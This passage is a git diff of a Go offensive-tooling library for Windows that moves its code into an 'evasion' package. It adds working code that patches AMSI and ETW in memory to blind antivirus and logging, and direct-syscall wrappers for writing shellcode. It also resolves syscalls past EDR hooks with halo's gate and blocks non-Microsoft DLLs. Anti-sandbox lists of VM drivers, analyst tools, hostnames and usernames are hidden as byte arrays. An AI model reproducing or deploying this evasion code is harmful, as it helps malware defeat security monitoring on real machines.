technique - -*/ - -import ( - "errors" - "unsafe" -) - -// addr, err := VirtualAlloc(pHandle, 0, uintptr(len(shellcode)), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE) -func VirtualAlloc(handle uintptr, zero uintptr, regionsize uintptr, allocType uintptr, allocProtection uintptr) (uintptr, error) { - - // Get syscall - sysId, err := GetSysId("NtAllocateVirtualMemory") - if err != nil { - return 0, err - } - - var baseA uintptr - r, _ := Syscall( - sysId, - handle, - uintptr(unsafe.Pointer(&baseA)), - zero, - uintptr(unsafe.Pointer(®ionsize)), - allocType, - allocProtection, - ) - - if r != 0 { - return 0, errors.New("NtAllocateVirtualMemory syscall returned non-zero error code") - } - - return baseA, nil -} - -// err := VirtualProtect(pHandle, &addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) -func VirtualProtect(pHandle uintptr, addr uintptr, regionsize uintptr, newProtect uintptr, oldProtect uintptr) error { - - // Get syscall - sysId, err := GetSysId("NtProtectVirtualMemory") - if err != nil { - return err - } - - r, _ := Syscall( - sysId, - uintptr(pHandle), - uintptr(addr), - uintptr(unsafe.Pointer(®ionsize)), - uintptr(newProtect), - uintptr(oldProtect), - ) - - if r != 0 { - return errors.New("NtProtectVirtualMemory syscall returned non-zero error code") - } - - return nil -} - -// err := WriteProcessMemory(pHandle, addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) -func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_len uintptr) error { - - // Get syscall - sysId, err := GetSysId("NtWriteVirtualMemory") - if err != nil { - return err - } - - var num_bytes uint32 - - r, err := Syscall( - sysId, - uintptr(pHandle), - uintptr(addr), - uintptr(buffer), - uintptr(buffer_len), - uintptr(unsafe.Pointer(&num_bytes)), - ) - - if (r != 0) || (err != nil) { - return errors.New("NtWriteVirtualMemory syscall returned non-zero error code") - } - - return nil -} diff --git a/core/acg.go b/evasion/acg.go similarity index 89% rename from core/acg.go rename to evasion/acg.go index 54bb036..e6ce58f 100644 --- a/core/acg.go +++ b/evasion/acg.go @@ -1,4 +1,4 @@ -package core +package evasion import ( "errors" @@ -27,7 +27,7 @@ type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct { } func EnableACG() error { - kernel32 := windows.NewLazyDLL("kernel32.dll") + kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy") var ProcessDynamicCodePolicy int32 = 2 diff --git a/evasion/amsi.go b/evasion/amsi.go new file mode 100644 index 0000000..dad810f --- /dev/null +++ b/evasion/amsi.go @@ -0,0 +1,88 @@ +package evasion + +import ( + "golang.org/x/sys/windows" + "unsafe" +) + +var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1} + +func PatchAmsi() error { + AmsiScanBuffer := windows.NewLazyDLL("ntdll.dll").NewProc("AmsiScanBuffer") + ntdll := windows.NewLazyDLL("ntdll.dll") + NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + + baseAddress := AmsiScanBuffer.Addr() + numberOfBytesToProtect := uintptr(len(amsi_patch)) + var oldProtect uintptr + + r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) + if r1 != 0 { + return err + } + + NtWriteVirtualMemory.Call(uintptr(0xffffffffffffffff), AmsiScanBuffer.Addr(), uintptr(unsafe.Pointer(&amsi_patch[0])), unsafe.Sizeof(amsi_patch), 0) + + r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + + return nil +} + +func PatchAmsi2() error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + //OpenProcess := kernel32.NewProc("OpenProcess") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + + ntdll := windows.NewLazyDLL("ntdll.dll") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory") + + amsi := windows.NewLazyDLL("amsi.dll") + AmsiOpenSession := amsi.NewProc("Am" + "siOp" + "enS" + "essi" + "on") + + patch := []byte{0x75} + + var oldProtect uint32 + var memPage uintptr = 0x1000 + + pHandle, _, _ := GetCurrentProcess.Call() + // this can be modified to allow remote process AMSI patching + //pHandle, _, _ := OpenProcess.Call(windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE, uintptr(0), uintptr(pid)) + + addr := AmsiOpenSession.Addr() + addr2 := AmsiOpenSession.Addr() + + for i := 0; i < 1024; i++ { + if *(*byte)(unsafe.Pointer(addr + uintptr(i))) == 0x74 { + addr = addr + uintptr(1) + break + } + } + + r1, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&memPage)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) + if r1 != 0 { + return err + } + + for i := 0; i < 1024; i++ { + if *(*byte)(unsafe.Pointer(addr2 + uintptr(i))) == 0x74 { + addr2 = addr2 + uintptr(1) + break + } + } + + var regionsize uintptr + NtWriteVirtualMemory.Call(uintptr(pHandle), addr2, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), uintptr(unsafe.Pointer(®ionsize))) + + r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr2)), uintptr(unsafe.Pointer(&memPage)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + + return nil +} + diff --git a/core/asm_x64.s b/evasion/asm_x64.s similarity index 100% rename from core/asm_x64.s rename to evasion/asm_x64.s diff --git a/evasion/blockdlls.go b/evasion/blockdlls.go new file mode 100644 index 0000000..bcc1dcb --- /dev/null +++ b/evasion/blockdlls.go @@ -0,0 +1,120 @@ +package evasion + +import ( + "fmt" + "golang.org/x/sys/windows" + "unsafe" + "errors" +) + +/* + +typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY { + union { + DWORD Flags; + struct { + DWORD MicrosoftSignedOnly : 1; + DWORD StoreSignedOnly : 1; + DWORD MitigationOptIn : 1; + DWORD AuditMicrosoftSignedOnly : 1; + DWORD AuditStoreSignedOnly : 1; + DWORD ReservedFlags : 27; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY, *PPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY; + +*/ + +type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct { + Flags uint32 +} + +// block non Microsoft-signed DLLs to inject in current process +func BlockDLLs() error { + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy") + + var ProcessSignaturePolicy uint32 = 8 + var sp PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY + + // set MicrosoftSignedOnly + sp.Flags = 0x1 + + ret, _, err := SetProcessMitigationPolicy.Call( + uintptr(ProcessSignaturePolicy), + uintptr(unsafe.Pointer(&sp)), + unsafe.Sizeof(sp), + ) + + if ret == 0 { + return errors.New(fmt.Sprintf("error: %s\nSetProcessMitigationPolicy returned %x", err, ret)) + } + + return nil +} + +// launch a program (C:\Windows\System32\notepad.exe) with BlockDLLs enabled +func CreateProcessBlockDLLs(cmd string) error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList") + UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute") + GetProcessHeap := kernel32.NewProc("GetProcessHeap") + HeapAlloc := kernel32.NewProc("HeapAlloc") + HeapFree := kernel32.NewProc("HeapFree") + CreateProcess := kernel32.NewProc("CreateProcessW") + + procThreadAttributeSize := uintptr(0) + InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize))) + + procHeap, _, err := GetProcessHeap.Call() + if procHeap == 0 { + return err + } + + attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize) + if attributeList == 0 { + return err + } + defer HeapFree.Call(procHeap, 0, attributeList) + + var si StartupInfoEx + si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList)) + + InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize))) + + mitigate := 0x20007 + nonms := uintptr(0x100000000000|0x1000000000) + + r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0) + if r == 0 { + return err + } + + commandline, err := windows.UTF16PtrFromString(cmd) + if err != nil { + return err + } + + var pi ProcessInformation + si.Cb = uint32(unsafe.Sizeof(si)) + flags := windows.EXTENDED_STARTUPINFO_PRESENT + + r, _, err = CreateProcess.Call( + 0, + uintptr(unsafe.Pointer(commandline)), + 0, + 0, + 1, + uintptr(uint32(flags)), + 0, + 0, + uintptr(unsafe.Pointer(&si)), + uintptr(unsafe.Pointer(&pi)), + ) + + if r == 0 { + return err + } + + return nil +} diff --git a/evasion/consts.go b/evasion/consts.go new file mode 100644 index 0000000..781a876 --- /dev/null +++ b/evasion/consts.go @@ -0,0 +1,98 @@ +package evasion + +var drivers []string = []string{ + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'M', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'G', 'u', 'e', 's', 't', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'S', 'F', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'V', 'i', 'd', 'e', 'o', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'd', 'i', 's', 'p', '.', 'd', 'l', 'l'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'h', 'o', 'o', 'k', '.', 'd', 'l', 'l'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'm', 'r', 'x', 'n', 'p', '.', 'd', 'l', 'l'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', '.', 'd', 'l', 'l'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', 'a', 'r', 'r', 'a', 'y', 's', 'p', 'u', '.', 'd', 'l', 'l'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'V', 'B', 'o', 'x', 'C', 'o', 'n', 't', 'r', 'o', 'l', '.', 'e', 'x', 'e'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'h', 'g', 'f', 's', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'c', 'i', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'e', 'm', 'c', 't', 'l', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'r', 'a', 'w', 'd', 's', 'k', '.', 's', 'y', 's'}), + + string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'u', 's', 'b', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}), +} + +var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser + string([]byte{'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 't', 'o', 'o', 'l', 's', 'd', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '-', 'v', 'm', 'x', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 'u', 's', 'e', 'r'}), + string([]byte{'V', 'G', 'A', 'u', 't', 'h', 'S', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 'a', 'c', 't', 'h', 'l', 'p', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'm', 'u', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}), + string([]byte{'x', 'e', 'n', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}), + string([]byte{'q', 'e', 'm', 'u', '-', 'g', 'a', '.', 'e', 'x', 'e'}), + string([]byte{'w', 'i', 'r', 'e', 's', 'h', 'a', 'r', 'k', '.', 'e', 'x', 'e'}), + string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '.', 'e', 'x', 'e'}), + string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '6', '4', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '.', 'e', 'x', 'e'}), + string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '3', '.', 'e', 'x', 'e'}), + string([]byte{'D', 'u', 'm', 'p', 'I', 't', '.', 'e', 'x', 'e'}), + string([]byte{'d', 'u', 'm', 'p', 'i', 't', '.', 'e', 'x', 'e'}), +} + +var hostnames_list []string = []string{ + string([]byte{'S', 'a', 'n', 'd', 'b', 'o', 'x'}), + string([]byte{'S', 'A', 'N', 'D', 'B', 'O', 'X'}), + string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}), + string([]byte{'v', 'i', 'r', 'u', 's'}), + string([]byte{'V', 'i', 'r', 'u', 's'}), + string([]byte{'s', 'a', 'm', 'p', 'l', 'e'}), + string([]byte{'d', 'e', 'b', 'u', 'g'}), + string([]byte{'U', 'S', 'E', 'R', '-', 'P', 'C'}), + string([]byte{'a', 'n', 'a', 'l', 'y', 's', 'i', 's'}), + string([]byte{'c', 'u', 'c', 'k', 'o', 'o'}), + string([]byte{'c', 'u', 'c', 'k', 'o', 'o', 'f', 'o', 'r', 'k'}), + string([]byte{'C', 'u', 'c', 'k', 'o', 'o'}), +} + +var usernames_list []string = []string{ + string([]byte{'s', 'a', 'n', 'd', 'b', 'o', 'x'}), + string([]byte{'v', 'i', 'r', 'u', 's'}), + string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}), + string([]byte{'d', 'e', 'b', 'u', 'g', '4', 'f', 'u', 'n'}), + string([]byte{'d', 'e', 'b', 'u', 'g'}), + string([]byte{'s', 'y', 's'}), + string([]byte{'u', 's', 'e', 'r', '1'}), + string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l'}), + string([]byte{'v', 'i', 'r', 't', 'u', 'a', 'l'}), + string([]byte{'a', 'n', 'a', 'l', 'y', 'i', 's'}), + string([]byte{'t', 'r', 'a', 'n', 's', '_', 'i', 's', 'o', '_', '0'}), + string([]byte{'j', '.', 'y', 'o', 'r', 'o', 'i'}), + string([]byte{'v', 'e', 'n', 'u', 's', 'e', 'y', 'e'}), + string([]byte{'V', 'e', 'n', 'u', 's', 'E', 'y', 'e'}), + string([]byte{'V', 'i', 'r', 'u', 's', 'T', 'o', 't', 'a', 'l'}), + string([]byte{'v', 'i', 'r', 'u', 's', 't', 'o', 't', 'a', 'l'}), +} diff --git a/evasion/etw.go b/evasion/etw.go new file mode 100644 index 0000000..710d7d9 --- /dev/null +++ b/evasion/etw.go @@ -0,0 +1,59 @@ +package evasion + +import ( + "encoding/hex" + "golang.org/x/sys/windows" + "unsafe" +) + +func PatchEtw() error { + ntdll := windows.NewLazyDLL("ntdll.dll") + WriteProcessMemory := windows.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory") + + EtwEventWrite := ntdll.NewProc("EtwEventWrite") + EtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx") + EtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull") + EtwEventWriteString := ntdll.NewProc("EtwEventWriteString") + EtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer") + + addresses := []uintptr{EtwEventWriteFull.Addr(), EtwEventWrite.Addr(), EtwEventWriteEx.Addr(), EtwEventWriteString.Addr(), EtwEventWriteTransfer.Addr()} + + for i := range addresses { + data, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'})) + + WriteProcessMemory.Call(uintptr(0xffffffffffffffff), uintptr(addresses[i]), uintptr(unsafe.Pointer(&data[0])), uintptr(len(data)), 0) + } + + return nil +} + +func PatchEtw2() error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + ntdll := windows.NewLazyDLL("ntdll.dll") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + NtTraceEvent := ntdll.NewProc("NtTraceEvent") + NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + + pHandle, _, _ := GetCurrentProcess.Call() + + var patch = []byte{0xc3} + var oldProtect uintptr + var addr uintptr = NtTraceEvent.Addr() + regionsize := uintptr(len(patch)) + + r1, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) + if r1 != 0 { + return err + } + + NtWriteVirtualMemory.Call(pHandle, addr, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), 0) + + r2, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + + return nil +} + diff --git a/evasion/exports.go b/evasion/exports.go new file mode 100644 index 0000000..8c94fdf --- /dev/null +++ b/evasion/exports.go @@ -0,0 +1,211 @@ +package evasion + +import ( + "unsafe" + "golang.org/x/sys/windows" +) + +type StartupInfoEx struct { + windows.StartupInfo + AttributeList *PROC_THREAD_ATTRIBUTE_LIST +} + +type ProcessInformation struct { + Process Handle + Thread Handle + ProcessId uint32 + ThreadId uint32 +} + +type Handle uintptr + +type PROC_THREAD_ATTRIBUTE_LIST struct { + dwFlags uint32 + size uint64 + count uint64 + reserved uint64 + unknown *uint64 + entries []*PROC_THREAD_ATTRIBUTE_ENTRY +} + +type PROC_THREAD_ATTRIBUTE_ENTRY struct { + attribute *uint32 + cbSize uintptr + lpValue uintptr +} + +type ExportDirectory struct { + ExportFlags uint32 // reserved, must be zero + TimeDateStamp uint32 + MajorVersion uint16 + MinorVersion uint16 + NameRVA uint32 // pointer to the name of the DLL + OrdinalBase uint32 + NumberOfFunctions uint32 + NumberOfNames uint32 // also Ordinal Table Len + AddressTableAddr uint32 // RVA of EAT, relative to image base + NameTableAddr uint32 // RVA of export name pointer table, relative to image base + OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base + + DllName string +} + +type Export struct { + Ordinal uint32 + Name string + VirtualAddress uint32 + Forward string +} + +type sstring struct { + Length uint16 + MaxLength uint16 + PWstr *uint16 +} + +func (s sstring) String() string { + return windows.UTF16PtrToString(s.PWstr) +} + +type IMAGE_OPTIONAL_HEADER struct { + Magic uint16 + MajorLinkerVersion uint8 + MinorLinkerVersion uint8 + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory [16]IMAGE_DATA_DIRECTORY +} + +type IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER + +type IMAGE_OPTIONAL_HEADER32 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + BaseOfData uint32 // Different from 64 bit header + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr +} + +type IMAGE_DATA_DIRECTORY struct { + VirtualAddress uint32 + Size uint32 +} + +type IMAGE_FILE_HEADER struct { + Machine uint16 + NumberOfSections uint16 + TimeDateStamp uint32 + PointerToSymbolTable uint32 + NumberOfSymbols uint32 + SizeOfOptionalHeader uint16 + Characteristics uint16 +} + +type IMAGE_NT_HEADER struct { + Signature uint32 + FileHeader IMAGE_FILE_HEADER + OptionalHeader IMAGE_OPTIONAL_HEADER +} + +type IMAGE_DOS_HEADER struct { // DOS .EXE header + E_magic uint16 // Magic number + E_cblp uint16 // Bytes on last page of file + E_cp uint16 // Pages in file + E_crlc uint16 // Relocations + E_cparhdr uint16 // Size of header in paragraphs + E_minalloc uint16 // Minimum extra paragraphs needed + E_maxalloc uint16 // Maximum extra paragraphs needed + E_ss uint16 // Initial (relative) SS value + E_sp uint16 // Initial SP value + E_csum uint16 // Checksum + E_ip uint16 // Initial IP value + E_cs uint16 // Initial (relative) CS value + E_lfarlc uint16 // File address of relocation table + E_ovno uint16 // Overlay number + E_res [4]uint16 // Reserved words + E_oemid uint16 // OEM identifier (for E_oeminfo) + E_oeminfo uint16 // OEM information; E_oemid specific + E_res2 [10]uint16 // Reserved words + E_lfanew uint16 // File address of new exe header +} + +type memStatusEx struct { // Auxiliary struct to retrieve total memory + dwLength uint32 + dwMemoryLoad uint32 + ullTotalPhys uint64 + ullAvailPhys uint64 + unused [5]uint64 +} + +type PTHREAD_BASIC_INFORMATION struct { + exitStatus int32 + pTebBaseAddress uintptr + clientId CLIENT_ID + AffinityMask uintptr + Priority int + BasePriority int + v int +} + +type SC_SERVICE_TAG_QUERY struct { + processId uint32 + serviceTag uint32 + reserved uint32 + pBuffer unsafe.Pointer +} + +type CLIENT_ID struct { + UniqueProcess uintptr + UniqueThread uintptr +} + diff --git a/core/gate.go b/evasion/gate.go similarity index 66% rename from core/gate.go rename to evasion/gate.go index e16ab79..53a0fc9 100644 --- a/core/gate.go +++ b/evasion/gate.go @@ -1,15 +1,15 @@ -package core +package evasion import ( "errors" - "fmt" + //"fmt" "strings" "github.com/Binject/debug/pe" "github.com/awgh/rawreader" ) -// Return syscall from memory, if it fails it tries to get syscall from disk +// Return syscall from memory, if it fails it tries to get syscall from disk (using halo's gate technique) func GetSysId(funcname string) (uint16, error) { var ntdll_pe *pe.File @@ -38,10 +38,10 @@ func GetSysId(funcname string) (uint16, error) { } buff := bBytes[offset : offset+10] - sysId, e := CheckBytes(buff) + sysId, err := CheckBytes(buff) var hook_err MayBeHookedError - if errors.As(e, &hook_err) { + if errors.As(err, &hook_err) { // Enter here if function seems to be hooked start, size := GetNtdllStart() @@ -52,9 +52,9 @@ func GetSysId(funcname string) (uint16, error) { if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') { distanceNeighbor++ - sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again - if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked - return sysId - uint16(distanceNeighbor), e + sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again + if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked + return sysId - uint16(distanceNeighbor), err } } } @@ -65,9 +65,9 @@ func GetSysId(funcname string) (uint16, error) { if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') { distanceNeighbor++ - sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) - if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked - return sysId + uint16(distanceNeighbor) - 1, e + sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) + if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked + return sysId + uint16(distanceNeighbor) - 1, err } } } @@ -81,32 +81,6 @@ func GetSysId(funcname string) (uint16, error) { return getDiskSysId(funcname) } -func GetFuncPtr(funcname string) (uint64, error) { - var p *pe.File - var err error - - s, si := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'})) - - rr := rawreader.New(uintptr(s), int(si)) - p, err = 